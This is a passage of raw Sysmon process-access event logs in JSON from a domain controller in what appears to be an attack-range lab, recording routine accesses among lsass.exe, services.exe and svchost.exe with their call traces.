11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 940\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C: